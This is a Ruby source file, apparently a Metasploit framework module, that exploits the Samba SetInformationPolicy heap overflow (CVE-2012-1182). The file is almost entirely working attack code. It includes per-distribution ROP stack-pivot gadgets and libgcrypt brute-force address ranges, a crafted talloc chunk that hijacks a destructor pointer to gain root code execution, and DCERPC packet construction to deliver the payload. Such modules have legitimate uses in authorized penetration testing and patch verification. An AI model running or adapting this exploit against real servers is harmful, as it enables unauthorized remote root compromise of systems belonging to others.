Path: blob/master/modules/exploits/linux/samba/setinfopolicy_heap.rb
21666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::RopDb11include Msf::Exploit::Brute1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',18'Description' => %q{19This module triggers a vulnerability in the LSA RPC service of the Samba daemon20because of an error on the PIDL auto-generated code. Making a specially crafted21call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to22trigger a heap overflow and finally execute arbitrary code with root privileges.2324The module uses brute force to guess the stackpivot/rop chain or the system()25address and redirect flow there in order to bypass NX. The start and stop addresses26for brute forcing have been calculated empirically. On the other hand the module27provides the StartBrute and StopBrute which allow the user to configure his own28addresses.29},30'Author' => [31'Unknown', # Vulnerability discovery32'blasty', # Exploit33'mephos', # Metasploit module34'sinn3r', # Metasploit module35'juan vazquez' # Metasploit module36],37'License' => MSF_LICENSE,38'References' => [39['CVE', '2012-1182'],40['OSVDB', '81303'],41['BID', '52973'],42['ZDI', '12-069']43],44'Privileged' => true,45'Payload' => {46'DisableNops' => true,47'Space' => 60048},49'Platform' => %w[linux unix],50# smbd process is killed soon after being exploited, need fork with meterpreter51'DefaultOptions' => { 'PrependSetreuid' => true, 'PrependSetregid' => true, 'PrependFork' => true, 'AppendExit' => true, 'WfsDelay' => 5 },52'Targets' => [53[54'2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',55{56'Arch' => ARCH_X86,57'Offset' => 0x11c0,58'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',59'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.060'Bruteforce' =>61{62'Start' => { 'libgcrypt_base' => 0xb67f1000 },63'Stop' => { 'libgcrypt_base' => 0xb69ef000 },64'Step' => 0x100065}66}67],68[69'2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',70{71'Arch' => ARCH_X86,72'Offset' => 0x11c0,73'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',74'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.075'Bruteforce' =>76{77'Start' => { 'libgcrypt_base' => 0xb68d9000 },78'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },79'Step' => 0x100080}81}82],83[84'2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',85{86'Arch' => ARCH_X86,87'Offset' => 0x11c0,88'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',89# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode90'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.091# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget92# to effectively stack pivot93'Stackpivot_helper' => 0x00054e87, # pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;94'Bruteforce' =>95{96'Start' => { 'libgcrypt_base' => 0xb6973000 },97'Stop' => { 'libgcrypt_base' => 0xb6b71000 },98'Step' => 0x100099}100}101],102# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date103# ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',104# {105# 'Arch' => ARCH_CMD,106# 'Offset' => 0x11c0,107# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',108# 'Stackpivot' => 0,109# 'Bruteforce' =>110# {111# # The start should be 0x950 aligned, and then step 0x1000.112# 'Start' => { 'Ret' => 0x00230950 },113# 'Stop' => { 'Ret' => 0x22a00950 },114# 'Step' => 0x1000115# }116# }117# ],118[119'2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',120{121'Arch' => ARCH_X86,122'Offset' => 0x11c0,123'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',124'Stackpivot' => 0x0003e4bc, # xchg eax, esp ; ret in libgcrypt.so.11.5.3125'Bruteforce' =>126{127'Start' => { 'libgcrypt_base' => 0xb694f000 },128'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },129'Step' => 0x1000130}131}132],133[134'2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',135{136'Arch' => ARCH_X86,137'Offset' => 0x11c0,138'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',139'Stackpivot' => 0x0003e30c, # xchg eax, esp ; ret in libgcrypt.so.11.5.3140'Bruteforce' =>141{142'Start' => { 'libgcrypt_base' => 0xb6962000 },143'Stop' => { 'libgcrypt_base' => 0xb6a61000 },144'Step' => 0x1000145}146}147],148[149'3.5.10-0.107.el5 on CentOS 5',150{151'Arch' => ARCH_X86,152'Offset' => 0x11c0,153'Ropname' => '3.5.10-0.107.el5 on CentOS 5',154'Stackpivot' => 0x0006ad7e, # xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2155'Bruteforce' =>156{157'Start' => { 'libgcrypt_base' => 0x0037c000 },158'Stop' => { 'libgcrypt_base' => 0x09e73000 },159'Step' => 0x1000160}161}162]163164],165'DisclosureDate' => '2012-04-10',166'DefaultTarget' => 0,167'Notes' => {168'Stability' => [CRASH_SERVICE_RESTARTS],169'Reliability' => [UNRELIABLE_SESSION],170'SideEffects' => [IOC_IN_LOGS]171}172)173)174175register_options([176OptInt.new('StartBrute', [ false, 'Start Address For Brute Forcing' ]),177OptInt.new('StopBrute', [ false, 'Stop Address For Brute Forcing' ])178])179180deregister_options('SMB::ProtocolVersion')181end182183def exploit184if target.bruteforce?185bf = target.bruteforce186187if datastore['StartBrute'] && (datastore['StartBrute'] > 0)188bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']189end190191if datastore['StopBrute'] && (datastore['StopBrute'] > 0)192bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']193end194195if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']196raise ArgumentError, 'StartBrute should not be larger than StopBrute'197end198end199super200end201202def brute_exploit(target_addrs)203print_status('Trying to exploit Samba with address 0x%.8x...' % target_addrs['libgcrypt_base'])204datastore['DCERPC::fake_bind_multi'] = false205datastore['DCERPC::max_frag_size'] = 4248206datastore['DCERPC::smb_pipeio'] = 'trans'207datastore['DCERPC::ReadTimeout'] = 3208209pipe = 'lsarpc'210211vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')212connect(versions: [1])213smb_login214215handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])216dcerpc_bind(handle)217dcerpc.socket.mode = 'rw'218# revert for other exploits219datastore['DCERPC::smb_pipeio'] = 'rw'220221cmd = ';;;;' # padding222helper = 0223if target['Arch'] == ARCH_CMD224cmd << "#{payload.encoded}\x00" # system argument225tmp = cmd * (816 / cmd.length)226tmp << "\x00" * (816 - tmp.length)227ret_addr = addr228elsif target['Arch'] == ARCH_X86229cmd << generate_rop_payload('samba', payload.encoded, { 'target' => target['Ropname'], 'base' => target_addrs['libgcrypt_base'] })230tmp = cmd231tmp << "\x00" * (816 - tmp.length)232ret_addr = target_addrs['libgcrypt_base'] + target['Stackpivot']233# will help in stack pivot when it's not eax pointing to shellcode234if target['Stackpivot_helper']235helper = target_addrs['libgcrypt_base'] + target['Stackpivot_helper']236end237end238239stub = 'X' * 20240241stub << NDR.short(2) # level242stub << NDR.short(2) # level 2243stub << NDR.long(1) # auditing mode244stub << NDR.long(1) # ptr245stub << NDR.long(100000) # r-> count246stub << NDR.long(20) # array size247stub << NDR.long(0)248stub << NDR.long(100)249stub << rand_text_alpha(target['Offset'])250# Crafted talloc chunk251# stub << 'A' * 8 # next, prev252stub << NDR.long(helper) + 'A' * 4 # next, prev253stub << NDR.long(0) + NDR.long(0) # parent, child254stub << NDR.long(0) # refs255# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP256stub << NDR.long(ret_addr) # destructor # will become EIP257stub << NDR.long(0) # name258stub << 'AAAA' # size259stub << NDR.long(0xe8150c70) # flags260stub << 'AAAABBBB'261stub << tmp # pointer to tmp+4 in $esp262stub << rand_text(32632)263stub << rand_text(62000)264265begin266call(dcerpc, 0x08, stub)267rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError => e268vprint_error(e.message)269rescue Rex::Proto::DCERPC::Exceptions::Fault270print_error('Server is most likely patched...')271rescue Timeout::Error272print_status('Timeout')273rescue Rex::Proto::SMB::Exceptions::LoginError274print_status('Rex::Proto::SMB::Exceptions::LoginError')275rescue StandardError => e276if e.to_s =~ /STATUS_PIPE_DISCONNECTED/277print_status('Server disconnected, this is expected')278end279end280handler281disconnect282end283284def check285vprint_status('Connect with SMB1 for the check method, since it needs native_lm info')286connect(versions: [1])287smb_login288disconnect289290version = smb_peer_lm.scan(/Samba (\d\.\d.\d*)/).flatten[0]291minor = version.scan(/\.(\d*)$/).flatten[0].to_i292vprint_status("Version found: #{version}")293294return CheckCode::Appears if version =~ (/^3\.4/) && (minor < 16)295return CheckCode::Appears if version =~ (/^3\.5/) && (minor < 14)296return CheckCode::Appears if version =~ (/^3\.6/) && (minor < 4)297298return CheckCode::Safe299rescue StandardError300return CheckCode::Unknown301end302303# Perform a DCE/RPC Function Call304def call(dcerpc, function, data, do_recv: true)305frag_size = data.length306if dcerpc.options['frag_size']307frag_size = dcerpc.options['frag_size']308end309object_id = ''310if dcerpc.options['object_call']311object_id = dcerpc.handle.uuid[0]312end313if options['random_object_id']314object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))315end316317call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)318call_packets.each do |packet|319write(dcerpc, packet)320end321322return true if !do_recv323324raw_response = ''325326begin327raw_response = dcerpc.read328rescue ::EOFError329raise Rex::Proto::DCERPC::Exceptions::NoResponse330end331332if (raw_response.nil? || (raw_response.empty?))333raise Rex::Proto::DCERPC::Exceptions::NoResponse334end335336dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)337338if dcerpc.last_response.type == 3339e = Rex::Proto::DCERPC::Exceptions::Fault.new340e.fault = dcerpc.last_response.status341raise e342end343344dcerpc.last_response.stub_data345end346347# Used to create standard DCERPC REQUEST packet(s)348# rubocop:disable Metrics/ParameterLists349def make_request(opnum = 0, data = '', size = data.length, ctx = 0, object_id = '')350opnum = opnum.to_i351size = size.to_i352ctx = ctx.to_i353354chunks = []355frags = []356ptr = 0357358# Break the request into fragments of 'size' bytes359while ptr < data.length360chunks.push(data[ptr, size])361ptr += size362end363364# Process requests with no stub data365if chunks.empty?366frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id))367return frags368end369370# Process requests with only one fragment371if chunks.length == 1372frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id))373return frags374end375376# Create the first fragment of the request377frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id))378379# Create all of the middle fragments380frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id)) while chunks.length != 1381382# Create the last fragment of the request383frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id))384385return frags386end387# rubocop:enable Metrics/ParameterLists388389# Write data to the underlying socket390def write(dcerpc, data)391dcerpc.socket.write(data)392data.length393end394end395396397